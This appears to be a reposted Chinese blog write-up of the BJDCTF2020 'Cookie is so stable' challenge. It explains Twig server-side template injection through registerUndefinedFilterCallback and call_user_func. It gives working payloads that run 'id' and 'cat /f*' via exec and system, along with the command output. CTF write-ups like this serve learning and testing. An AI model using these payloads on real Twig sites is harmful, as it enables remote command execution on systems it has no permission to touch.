博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
[BJDCTF2020]Cookie is so stable
阅读量:2065 次
发布时间:2019-04-29

本文共 771 字,大约阅读时间需要 2 分钟。

  • Twig SSTI模板注入
  • 和前面做的jinja2有点不同,学习一下
  • 重点内容
  • 在getFilter()方法中的874行上有对危险函数call_user_func的调用。如果我们能够控制这个参数,就可以用它来调用任意的PHP函数。
public function getFilter($name){
[snip] foreach ($this->filterCallbacks as $callback) {
if (false !== $filter = call_user_func($callback, $name)) {
return $filter; } } return false;}public function registerUndefinedFilterCallback($callable){
$this->filterCallbacks[] = $callable;}
  • 所以,执行任意的shell命令只是将exec作为过滤器回调,然后在调用getFilter即可。
{
{
_self.env.registerUndefinedFilterCallback("exec")}}{
{
_self.env.getFilter("id")}}uid=1000(k) gid=1000(k) groups=1000(k),10(wheel)
  • payload:
{
{
_self.env.registerUndefinedFilterCallback("system")}}{
{
_self.env.getFilter("cat /f*")}}

转载地址:http://efwmf.baihongyu.com/

你可能感兴趣的文章
Windows文本加载wscite的使用
查看>>
浏览器主页被篡改修复
查看>>
FFmpeg - 新老接口对比问题
查看>>
Windows下MinGW编译ffmpeg库
查看>>
SDL在windows下使用 - 显示YUV
查看>>
三种方式YUV420转RGB24/BGR24,实测可用
查看>>
Windows下使用VS2015编译openssl库
查看>>
Win10+VS2015编译libcurl
查看>>
Windows下使用jsoncpp
查看>>
Ubuntu下测试使用Nginx+uWsgi+Django
查看>>
Windows下编译x264
查看>>
visual studio调试内存泄漏工具
查看>>
开源Faac实现PCM编码AAC
查看>>
Windows下wave API 音频采集
查看>>
借船过河:一个据说能看穿你的人性和欲望的心理测试
查看>>
AndroidStudio 导入三方库使用
查看>>
Ubuntu解决gcc编译报错/usr/bin/ld: cannot find -lstdc++
查看>>
解决Ubuntu14.04 - 16.10版本 cheese摄像头灯亮却黑屏问题
查看>>
解决Ubuntu 64bit下使用交叉编译链提示error while loading shared libraries: libz.so.1
查看>>
MFC程序添加console窗口+printf打印输出信息
查看>>